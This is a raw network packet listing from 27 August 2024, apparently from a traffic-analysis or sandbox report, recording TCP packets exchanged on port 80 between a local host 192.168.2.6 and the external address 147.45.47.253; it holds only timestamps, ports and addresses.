Aug 27, 2024 20:12:01.124162912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.124593019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.124644041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.127748966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.127774000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.127784967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.127810955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.127820969 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.127896070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.127942085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.127964973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.127976894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128009081 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128123045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128134012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128149986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128161907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128174067 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128190041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128211021 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128376961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128387928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128398895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128410101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128422022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128428936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128433943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128457069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128465891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128474951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128477097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128495932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128504038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128529072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128544092 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128695011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128739119 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128793001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128806114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128815889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128827095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128839970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.128843069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128871918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.128887892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.129036903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.129048109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.129089117 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.204726934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.204768896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.204780102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.204788923 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.204822063 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.204881907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.204894066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.204904079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.204917908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.204924107 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.204960108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.205061913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.205112934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209244967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209255934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209265947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209306955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209321976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209412098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209429026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209441900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209453106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209459066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209465981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209476948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209486008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209498882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209501028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209508896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209522963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209538937 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209543943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209549904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209585905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209589958 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209597111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209606886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209616899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209628105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209628105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209645033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209661961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209662914 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209675074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209686995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209692955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209697962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209707975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209723949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209728956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209736109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209748983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209758997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209762096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209775925 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209777117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209789991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209800959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209810019 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209811926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209841013 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209850073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209881067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209894896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209904909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209917068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209922075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209928989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209945917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209953070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.209956884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209968090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.209999084 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.210019112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.210522890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210532904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210542917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210555077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210565090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210572958 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.210576057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210587978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210594893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.210599899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210612059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210613012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.210622072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210633993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.210654020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.210669994 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.210748911 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211019039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211030006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211040974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211052895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211062908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211067915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211085081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211097002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211102962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211112976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211134911 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211136103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211153984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211162090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211175919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211186886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211194038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211204052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211215973 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211232901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211236000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211247921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211257935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211260080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211275101 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211282015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211287975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211297035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211308002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211318016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211323023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211334944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211354971 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211366892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211374998 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211378098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211389065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211399078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211401939 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211410999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211421967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.211424112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211585999 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.211585999 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.213574886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213586092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213597059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213627100 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.213660002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213670969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213681936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213685036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.213692904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213715076 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.213735104 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.213890076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213901043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213913918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213922977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.213934898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.213960886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214030981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214041948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214052916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214062929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214076996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214106083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214170933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214181900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214221954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214261055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214272022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214283943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214293957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214302063 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214313984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214325905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214354038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214504957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214555025 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214617968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214629889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214639902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214664936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214667082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214678049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214683056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.214684010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214709997 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.214726925 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.702223063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.702322960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.703032017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703037024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703047991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703108072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.703124046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703130007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703140974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703146935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703183889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.703315020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703363895 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.703466892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703473091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703479052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703490973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703496933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703510046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703510046 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.703516960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703528881 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.703530073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703536987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703569889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.703583956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.703947067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703953981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703958988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703963995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.703975916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704005003 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.704034090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.704206944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704214096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704220057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704226017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704232931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704266071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.704279900 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.704327106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704334021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704344034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704349995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704363108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704370022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704382896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704387903 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.704390049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704399109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704417944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.704427958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.704436064 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.704443932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.704477072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.705411911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705419064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705431938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705435991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705441952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705446959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705452919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705459118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705465078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705471039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705471039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.705482006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705490112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705501080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705504894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.705512047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.705528975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.705553055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.705569029 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.706203938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706211090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706221104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706227064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706233025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706238985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706244946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706252098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706258059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706264019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706267118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.706269026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706275940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706280947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706286907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706291914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.706309080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.706337929 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.707101107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707107067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707118034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707123041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707128048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707133055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707139015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707149982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707155943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707168102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707170963 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.707171917 CEST	80	49710	147.45.47.253	192.168.2.6
